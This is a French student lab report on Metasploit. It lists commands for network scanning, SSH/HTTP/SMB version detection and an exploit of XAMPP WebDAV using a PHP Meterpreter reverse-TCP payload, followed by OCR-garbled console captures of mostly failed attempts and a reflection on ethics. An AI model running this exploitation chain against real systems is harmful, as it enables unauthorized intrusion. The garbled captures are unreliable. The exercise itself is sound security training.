


1 – Les commandes utiliser sont :

· apt-cache show metasploit-framework | tail -n 6
Affiche les six dernières lignes des informations du paquet metasploit-framework.
· msfconsole
Lance la console Metasploit.
· workspace -a msftest
Crée et active un nouvel espace de travail nommé "msftest".
· clear
Efface l'écran de la console.
· db_nmap -F 192.168.0.1-10
Scanne rapidement les ports de la plage d'adresses IP 192.168.0.1 à 192.168.0.10
· hosts
Affiche la liste des hôtes découverts.
· services
Affiche la liste des services détectés sur les hôtes.
· use auxiliary/scanner/ssh/ssh_version
Sélectionne le module de scan de version SSH
· options
Affiche les options configurables pour le module sélectionné.
· services -u -p 22 -R
Met à jour la liste des services pour les hôtes ayant le port 22 ouvert et définit ces services comme actifs
· setg threads 10
Définit globalement le nombre de threads à utiliser à 10.
· run
Exécute le module de scan de version SSH
· use auxiliary/scanner/http/http_version
Sélectionne le module de scan de version http.
· options
Affiche les options configurables pour le module sélectionné.
· services -u -p 80 -R
Met à jour la liste des services pour les hôtes ayant le port 80 ouvert et définit ces services comme actifs.
· run
Exécute le module de scan de version http.
· use auxiliary/scanner/smb/smb_version
Sélectionne le module de scan de version SMB.
· options
Affiche les options configurables pour le module sélectionné.
· services -u -p 445 -R
Met à jour la liste des services pour les hôtes ayant le port 445 ouvert et définit ces services comme actifs.   
· run
Exécute le module de scan de version SMB.
· clear
Efface l'écran de la console.
· hosts
Affiche la liste des hôtes découverts.
· service -u
Met à jour la liste des services. 
· services 192.168.0.6
Affiche les services détectés sur l'hôte 192.168.0.6.
· search xampp 
Recherche les exploits disponibles pour XAMPP dans la base de données Metasploit.
· use exploit/windows/http/xampp_webdav_upload_php
Sélectionne l'exploit pour XAMPP WebDAV.
· options
Affiche les options configurables pour l'exploit sélectionné.
· set rhost 192.168.0.6
Définit l'adresse IP de l'hôte cible à 192.168.0.6.
· show payloads
Affiche les payloads disponibles pour l'exploit sélectionné.
· set payload php/meterpreter/reverse_tcp
Sélectionne le payload Meterpreter PHP pour une connexion TCP inversée.
· options
Affiche les options configurables pour le payload sélectionné.
· set lhost 192.168.0.15
Définit l'adresse IP locale pour recevoir la connexion inversée à 192.168.0.15.
· exploit
Lance l'exploit contre la cible spécifiée.
· ps
Affiche les processus en cours sur la machine compromise.
· getuid
Affiche l'identifiant de l'utilisateur en cours sur la machine compromise.
· sysinfo
Affiche des informations système sur la machine compromise.
· exit
Quitte la session Meterpreter.
· exit
Quitte la console Metasploit.
· clear
Efface l'écran de la console.



2 - Quel est le principe de fonctionnement du programme ?
Le principe de fonctionnement du programme est :

· Reconnaissance : Scanne le réseau pour découvrir les hôtes et services actifs.
· Analyse : Détermine les versions des services SSH, HTTP et SMB sur les hôtes.
· Exploitation : Utilise une vulnérabilité dans XAMPP WebDAV pour obtenir un accès non autorisé.
· Post-exploitation : Recueille des informations sur le système compromis.
· Nettoyage : Efface les traces et quitte les sessions.

3 - Reconnaissez-vous des logiciels déjà vus par le passé ?
Oui j’ai déjà pu faire la découverte même si minime de Nmap durant des cours particuliers pendant les vacances.

4 – Captures d’écran.
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Test a nouveau les commandes sur une VM Windows Serveur ciblé :
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Malheureusement les dernières commandes ne se sont pas exécutées car la commande : ps n’a pas eu le résultat attendu.
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Conclusion et ressentie :
Suite à ce TP, j'ai découvert beaucoup de choses passionnantes sur la sécurité informatique. J'ai appris à utiliser Metasploit Framework, un outil vraiment puissant pour les tests de pénétration. En manipulant divers modules depuis la console Metasploit, j'ai compris comment effectuer une reconnaissance réseau. Et même utiliser des outils comme Nmap pour scanner les hôtes et les services actifs.

J'ai aussi découvert comment exploiter les vulnérabilités avec Metasploit. En choisissant des exploits et en configurant des payloads, j'ai appris à obtenir un accès non autorisé à un système. Cette partie pratique m'a vraiment montré comment les attaquants peuvent exploiter les failles de sécurité.

Enfin, ce TP m'a fait réaliser l'importance de l'éthique et de la légalité dans l'utilisation de ces techniques. J'ai compris que l'utilisation de ces outils en dehors d'un environnement autorisé peut avoir des conséquences légales graves. Cette prise de conscience est essentielle pour agir de manière responsable et professionnelle dans le domaine de la sécurité informatique.
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nsf6 > hosts

Hosts

name os_name os_flavor os_sp purpose info comments

Unknown device
host port proto name state info
10.20.5.56 53  tcp  domain open

10.20.5.56 88  tcp  kerberos-sec open

10.20.5.56 135 tcp  msrpc open

10.20.5.56 139 tcp  netbios-ssn  open

10.20.5.56 389 tcp  ldap open

10.20.5.56 445 tcp  microsoft-ds open
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View the full module info with the info, or info -d command.

156 auxiliary(«conier/<<h/ooh version) > services -u -p 22 -R

Services.

10st port proto name state info

+] The list is empty, cowardly refusing to set RHOSTS
1576 auxiliary(-c-iior/<<h/c<h vereion) > setg threads 10
chreads = 10

15£6 auxiliary(-conner/soh/ssh version) > run

| Msf::OptionValidateError The following options failed to validate: RHOSTS
15£6 auxiliary(scanner/ssh/ssh_version) > |
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msf6 auxiliary(scanner /it /http version) > options

Module options (auxiliary/scanner/http/http_version):

Name  Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][ ...
1

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/us
ing-metasploit/basics/using-metasploit.html

RPORT 80 yes The target port (TCP

ssL false no Negotiate SSL/TLS for outgoing connections

THREADS 10 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(-caner/iiop ity version) > services -u -p 80 R

Services

host port proto name state info

[+] The list is empty, cowardly refusing to set RHOSTS
nsf6 auxiliary(scanner/http/http_version) > [
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|| Msf::OptionvalidateError The following options failed to validate: RHOSTS
15£6 auxiliary(-coiner/fop/iitp version) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(-canner/sub/snb version) > options

Module options (auxiliary/scanner/smb/smb_version):

Name  Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/us
ing-metasploit/basics/using-metasploit.html

THREADS 10 yes The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msF6 auxiliary(-conner/<ui/snb version) > services -u -p 445 -R

Services

host port proto name state info

10.20.5.56 445 tcp  microsoft-ds open
RHOSTS = 10.20.5.56

msf6 auxiliary(scanner/smb/smb_version) > [
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RHOSTS = 10.20.5.56

msf6 auxiliary(scanner/sub/sub version) > run

[] 10.20.5.56:445 - SMB Detected (versions:2, 3) (preferred dialect:sMB 3.1.1) (compression
capabilities:) (encryption capabilities:AES-128-GCM) (signatures:required) (guid:{2167f72d-e800-4b60
-9283-0cd429063a17}) (authentication domain:KAYNO-PC)

[+] 10.20.5.5¢ - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/smb/snb_version) > [
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3.1.1) (compression capabilities:) (encryption capab
ilities:AES-128-GCM) (signatures:required) (guid:{21
67f72d-e800-4b60-9a83-0cd429063a17}) (authentication

domain:KAYNO-PC)

nsf6 auxiliary(scanner/ ui/snb version) > search xampp

matching Modules

# Name Disclosure Date

0 exploit/multi/http/atutor_upload_traversal  2019-05-17
- Directory Traversal / Remote Code Execution,

1 exploit/multi/http/maracns_upload_exec 2020-08-31
rary PHP File Upload

2 exploit/windows/http/R@iPB_vebdav_upload_php 2012-01-14
PHP Upload

3 exploit/windows/http/zentao_pro_rce 2020-06-20
3.2 Remote Code Execution

Rank Check Description
excellent Yes  ATutor 2.2.4
excellent Yes  Marachs Arbit
excellent No  [ANBE WebDAV
excellent Yes  ZenTao Pro 8

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/zenta

o_pro_rce

nsf6 auxiliary(scanner/smb/smb_version) > Il
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msf6 explodt(uindous/iittp/ xanpp webiday upload php) > set rhost 10.20.5.56

rhost = 10.20.5.56
msf6 explodt(uinions/ittp/ xanpp wehday upload phi) > show payloads

Compatible Payloads

#  Name Disclosure Date

0 payload/cmd/unix/bind_aws_instance_connect
ind Instance Connect (via AWS APT)

1 payload/generic/custom

2 payload/generic/shell_bind_aws_ssm
nd SSM (via AWS API)

3 payload/generic/shell bind_tcp
hell, Bind TCP Inline

4 payload/generic/shell_reverse_tcp
hell, Reverse TCP Inline

5 payload/generic/ssh/interact
ablished SSH Connection

6 payload/multi/meterpreter/reverse_http

pendent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)

7 payload/multi/meterpreter/reverse_https

pendent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

8 payload/php/bind_perl
, Bind TCP (via Perl)

Rank  Check Description
normal No  Unix SSH Shell, B
normal No  Custom Payload

normal No  Command Shell, Bi
normal No  Generic Command S
normal No  Generic Command S
normal No  Interact with Est
normal No  Architecture-Inde
normal No  Architecture-Inde
normal No  PHP Command Shell
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Reverse TCP Inline

21 payload/php/reverse_perl normal No  PHP Command, Doub
le Reverse TCP Connection (via Perl)
22 payload/php/reverse_php normal No  PHP Command Shell

, Reverse TCP (via PHP)

mSF6 explodt(i nous /fitp /wanin el uplond ohn) > set payload php/meterpreter/reverse_tcp
| The value specified for payload is not valid

mSFE exploft(/1dous 1o i/ i wehdo upioad i) > set payload php/meterpreter/reverse_tcp
payload = php/meterpreter/reverse_tcp

msf6 exploit(windows/http/xampp_webdav_upload_php) > [
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View the full module info with the info, or info -d command.

msF6 explodt(sndous /Ity /xanpp webdau uplond php) > sel Thost 10.20.5.56
inknown command: sel

L

15£6 exploit(windows/iittp/xanpp_webdav_upload php) > set lhost 10.20.5.56
host = 10.20.5.56

s

6 exploit(windows/http/xampp_webdav_upload_php) > Il
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5f6 exploit(windows/http/xampp_webdav_upload_php)
~| Unknown command: sel

5F6 exploit(windous/http/xanpp_webdav_upload_php)
host = 10.20.5.56

5£6 exploit(windous/http/xanpp_webdav_upload_php)

| Handler failed to bind to 10.20.5.56:444ki- -
«] Started reverse TCP handler on 0.0.0.0:4444
«] Uploading Payload to /webdav/MXb61kc.php

| Failed to upload file

«] Exploit completed, but no session was created
5f6 exploit(windows/http/xampp_webdav_upload_php)
R oxnl it mdowe Zhttn feamon wahday ool oad whnd

>

sel lhost 10.20.5.56

set lhost 10.20

exploit

.5.56
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isf6 exploit(windows/http/xampp_webdav_upload_php) >
1sf6 exploit(windows/http/xanpp_webdav_upload_php) > ps
T s

PID TTY
42374 pts/o
42391 pts/o
65712 pts/o
70377 pts/o Tuby
76835 pts/o ps

15£6_exploit(windows/http/xanpp_webdav_upload_php) > getuid

| Unknown command: getuid

156 exploit(windous/http/xampp_webdav._upload_php).> getuid

| Unknown command: getuid

a5f6 exploit(windous/http/xanpp_webdav_upload_php) > get

et getg

a5f6 exploit(windous/http/xanpp_webdav_upload_php) > get

et getg

15£6 exploit(windows/http/xanpp_webdav_upload_php) > get

cnp
su
2zsh
ruby

3
jsage: get varl [var2 ...
he get command is used to get the value of one or more variables.

15£6 exploit(windows/http/xanpp_webdav_upload_php) > sysinfo
| Unknown command: sysinfo
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-+ apt-cache show metasploit-framework | tail -n 6

The Metasploit Framework is an open source platform that supports
vulnerability research, exploit development, and the creation of custom
security tools.

Description-mds: c5f73085c4e31aa2ccoldd312cesbice

Homepage: https://wmi .metasploit.con/

E[mot@ ‘" )-[/home/user
-4 msfconsole
Metasploit tip: View missing module options with show missing
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B FoOt@KALI-V-BP: fhomeluser [~
File Actions Edit View Help

~ msf6 > db_nmap -F 192.168.0.1-10
[+] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 16:39 CEST
[*] Nmap: Nmap done: 10 IP addresses (@ hosts up) scanned in 9.08 seconds
msf6 > hosts

Hosts

address mac name os_name os_flavor os_sp purpose info comments

nsf6 > servicesl
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nsf6 > use auxiliary/scanner/ssh/ssh_

use
use

auxiliary/scanner/ssh/ssh_enum_git_keys
auxiliary/scanner/ssh/ssh_enumusers
auxiliary/scanner/ssh/ssh_identify_pubkeys
auxiliary/scanner/ssh/ssh_Login
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/scanner/ssh/ssh_version

nsf6 > use auxiliary/scanner/ssh/ssh_version
nsf6 auxiliary(scanner/ssh/ssh_version) >
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msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(-coiier/ =i/ <oh veroion) > options

Module options (auxiliary/scanner/ssh/ssh_version):

Name  Current Setting Required Description

RHOSTS yes The target host(s), see https://docs
.metasploit.con/docs/using-metasploi
t/basics/using-metasploit.html

RPORT 22 yes The target port (TCP

THREADS 1 yes The number of concurrent threads (ma
X one per host)

TIMEOUT 30 yes Timeout for the SSH probe

View the full module info with the info, or info -d command.

msf6 auxiliary(-canner/<<i/sh version) > services -u -p 22 -R

Services

host port proto name state info

[#] The list is empty, cowardly refusing to set RHOSTS
msf6 auxiliary(scanner/ssh/sh version) > ssll




